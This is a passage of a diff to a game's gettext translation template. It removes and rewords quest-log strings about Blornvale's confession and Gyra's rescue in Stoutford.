msgstr ""
#: questlist_graveyard1.json:nondisplay_2:180
msgid "Talked to Yolgen about the castle"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:190
msgid "Talked to Yolgen about Flagstone"
msgid "Mentioned Remgard"
msgstr ""
#: questlist_guynmart.json:guynmart
@@ -37964,10 +37802,6 @@ msgstr ""
msgid "Blornvale drank the potion."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:71
msgid "Tahalendor came to hear Blonvale confession."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:72
msgid "Blornvale confessed to killing Aryfora's father. Unfortunately there is no witness."
msgstr ""
@@ -37976,14 +37810,6 @@ msgstr ""
msgid "Blornvale now understands what you were trying to do. You will no longer be able to help Aryfora get back her shop."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:75
msgid "Tahalendor wouldn't believe your story. You will no longer be able to help Aryfora get back her shop."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:76
msgid "It's all your fault that Aryfora is crying now."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:80
msgid "Blornvale confessed to killing Aryfora's father in the presence of Tahalendor."
msgstr ""
@@ -38391,7 +38217,7 @@ msgstr ""
#: questlist_stoutford_combined.json:stn_quest_gyra:20
msgid ""
"Odirath's daughter Gyra was hidden in the storeroom of the main house of the castle. She was surprised by the raid on the castle and no longer dared to leave her hiding place.\n"
"Odirath's daughter Gyra was hidden in the storeroom of the main house of the castle. She was surprised by the raid on the castle and no longer dared to leave the hiding place.\n"
"She was looking for Lord Berbanes helmet, which he had forgotten somewhere in the castle."
msgstr ""
@@ -38408,7 +38234,7 @@ msgid "You found the helmet."
msgstr ""
#: questlist_stoutford_combined.json:stn_quest_gyra:60
msgid "Once back in Stoutford Gyra knew the way and ran to her father Odirath."
msgid "Back in Stoutford Gyra knew the way and ran to her father Odirath."
msgstr ""
#: questlist_stoutford_combined.json:stn_quest_gyra:70

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff